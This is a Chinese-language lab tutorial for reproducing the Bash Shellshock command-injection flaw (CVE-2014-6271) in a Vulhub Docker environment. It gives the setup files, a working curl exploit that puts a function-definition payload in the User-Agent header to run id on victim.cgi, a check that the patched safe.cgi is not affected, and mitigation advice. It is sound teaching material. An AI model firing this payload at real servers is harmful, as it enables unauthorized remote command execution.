Vulhub 复现 Bash Shellshock 远程命令注入漏洞(CVE-2014-6271)实战指南
【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub
CVE-2014-6271(Shellshock,俗称"破壳"漏洞)是 Bash 在解析环境变量中函数定义时存在的严重命令注入漏洞,可被远程攻击者通过伪造 HTTP 请求头触发任意命令执行。本文基于 Vulhub 仓库中 bash/CVE-2014-6271 目录下的预构建环境,完整讲解漏洞原理、环境搭建、利用复现与修复验证全流程。读完本文,你将能够独立复现该漏洞,理解"环境变量函数定义 + CGI 请求头传递"的攻击链路,并掌握如何区分易受攻击与已修复的 Bash 版本。
漏洞背景与原理:为什么 User-Agent 能变成命令
CVE-2014-6271 的根因在于 Bash 4.3 及更早版本处理环境变量时的一个设计缺陷:当环境变量的值以()开头时,Bash 会将其当作函数定义进行解析;而在解析完函数体后,不会立即停止解析,而是会继续执行函数定义之后跟随的命令。
以本环境中的攻击载荷为例:
() { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id该字符串被 Bash 解析为"定义一个名为foo的空函数,然后依次执行echo Content-Type: text/plain、echo与/usr/bin/id"。
关键在传递链路:Apache 等 Web 服务器在处理 CGI 请求时,会把 HTTP 请求头(如User-Agent、Host、Referer等)以HTTP_*前缀的形式导出为 CGI 脚本进程的环境变量。当 CGI 脚本的 shebang 指向 Bash 时,Bash 一启动就会遍历并解析这些环境变量,于是被注入到User-Agent中的恶意函数定义被当作合法函数解析,其后的命令随之被执行——远程命令注入就此成立。
环境搭建:一键启动漏洞靶场
本实验环境位于仓库 bash/CVE-2014-6271 目录,完整文件包括:
- docker-compose.yml:服务编排
- victim.cgi:易受攻击的 CGI 脚本
- safe.cgi:已修复的 CGI 脚本
- 1.png 与 2.png:利用效果截图
在进入该目录后执行:
docker compose build docker compose up -d服务启动后,访问http://your-ip:8080/可以看到两个 CGI 页面入口:
- victim.cgi:由 Bash 4.3 生成,存在 Shellshock 漏洞
- safe.cgi:由最新版 Bash 生成,已修复漏洞
容器编排与镜像说明
查看 docker-compose.yml 可以了解环境结构:
version: '2' services: web: image: vulhub/bash:4.3.0-with-httpd ports: - "8080:80" volumes: - ./safe.cgi:/var/www/html/safe.cgi - ./victim.cgi:/var/www/html/victim.cgi要点说明:
- 镜像:
vulhub/bash:4.3.0-with-httpd,宿主端口8080映射到容器内 Apache 的80端口; - 挂载:仓库内的两个 CGI 脚本通过 volume 直接挂载进 Apache 的 Web 根目录
/var/www/html/,便于自定义修改 payload 与测试页面; - Apache CGI 支持:镜像底层 base/bash/4.3.0/with-httpd/Dockerfile 中通过
a2enmod cgi/a2enmod cgid开启 CGI 模块,并在 Apache 配置中声明.cgi由cgi-script处理器执行(AddHandler cgi-script .cgi、Options ... ExecCGI),这正是请求头能被注入进 Bash 进程环境的前提。
Bash 4.3 是如何被编译进镜像的
基础镜像 base/bash/4.3.0/Dockerfile 从 GNU 官方源码编译了存在漏洞的 Bash 4.3:
FROM debian:jessie ... RUN mkdir /tmp/bash \ && wget -qO- https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz \ | tar zx -C /tmp/bash --strip-components=1 \ && cd /tmp/bash \ && ./configure --prefix=/usr/local/bash-4.3.0 \ && make \ && make install ... ENV PATH /usr/local/bash-4.3.0/bin:${PATH}注意安装前缀被指定为/usr/local/bash-4.3.0,使得漏洞版本与系统自带 Bash 共存。这一设计直接体现在两个 CGI 脚本的 shebang 差异上——这也是本环境"一靶一盾"对比实验的核心机制:
- victim.cgi 第一行使用
#!/usr/local/bash-4.3.0/bin/bash,强制以存在漏洞的 Bash 4.3 解释执行,从而复现 CVE-2014-6271; - safe.cgi 第一行使用
#!/bin/bash,即 Debian 系统自带的已修复版本,作为对照组验证补丁效果。
两个脚本的页面主体完全一致,都只是输出Content-type: text/html与一段 "Hello world" HTML;唯一的差异就是解释器,从而保证对比实验只受 Bash 版本这一个变量影响。
漏洞利用:在 User-Agent 中注入命令
使用 curl(或其他任意 HTTP 客户端)向victim.cgi发起请求,将恶意载荷附在User-Agent请求头中:
curl -v -H 'User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id' 'http://your-ip:8080/victim.cgi'请求到达 Apache 后,User-Agent被导出为 CGI 进程的环境变量HTTP_USER_AGENT;Bash 4.3 在解析该函数定义后继续执行了注入的命令。返回结果中可以看到/usr/bin/id的输出:
uid=33(www-data) gid=33(www-data) groups=33(www-data)即攻击者已成功在目标服务器上以 Web 服务用户www-data的身份执行了系统命令。
同时,载荷中的echo Content-Type: text/plain会向 HTTP 响应头注入Content-Type,echo则输出一个空行以结束响应头区段,确保命令输出能作为响应体被直接返回给攻击者——这是让漏洞利用结果"可视化"的常用技巧。
攻击效果截图
上图为真实利用效果:左侧请求携带恶意User-Agent访问victim.cgi,右侧响应返回uid=33(www-data)的命令执行结果,漏洞利用成功。
攻击载荷解析
本载荷可拆解为三段理解:
| 片段 | 作用 |
|---|---|
() { foo; }; | 构造一个空函数定义,触发 Bash 对函数定义后跟随命令的解析缺陷 |
echo Content-Type: text/plain; echo; | 注入 HTTP 响应头并输出空行,让命令结果以响应体形式返回 |
/usr/bin/id | 要执行的任意系统命令,此处以id验证命令执行能力,实战中可替换为任意命令(如反弹 Shell) |
修复验证:同一攻击对 safe.cgi 无效
将同样的请求发给对照组的safe.cgi:
curl -v -H 'User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id' 'http://your-ip:8080/safe.cgi'由于safe.cgi由已修复的 Bash 解释执行,环境变量中的函数定义被完整解析为函数后立即终止,不再继续执行其后的命令。服务器返回的是正常的Content-Type: text/html页面("Hello world" HTML 内容),没有任何命令输出:
如上图所示:左侧仍是相同的恶意User-Agent,但右侧响应体为正常 HTML、Content-Type: text/html,说明注入命令未被执行,漏洞已得到修复。
复现后的检测与防护要点
完成实验后,可通过以下方式清理与自查:
# 停止并移除容器 docker compose down在实际安全场景中,可参考本实验的检测与防护思路:
- 漏洞检测:对任意暴露的 CGI 端点,用上述
User-Agent载荷发起探测,观察响应中是否出现命令输出或非预期的Content-Type响应头; - 修复升级:升级 Bash 至包含 CVE-2014-6271 补丁的版本(如本环境
safe.cgi使用的 Debian 自带 Bash),官方补丁已确保解析完函数定义后立即停止执行后续内容; - 攻击面收敛:该漏洞的触发依赖 Bash 被用作 CGI 解释器,且攻击面覆盖
User-Agent、Host、Referer、Cookie等所有会被导出为环境变量的请求头;除升级 Bash 外,应尽量减少 CGI 场景下 Bash 的使用,必要时可限制外部请求头向进程环境的传递。
小结
通过本环境,可以在几分钟内完整走通 CVE-2014-6271 的"环境变量注入 → Bash 函数解析缺陷 → 任意命令执行"攻击链路:victim.cgi(Bash 4.3)证明漏洞可利用,safe.cgi(已修复 Bash)证明补丁有效,两者基于同一份页面源码与同一个 Apache 环境,仅解释器不同,是理解该漏洞成因与修复差异的最小可复现实验。
【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考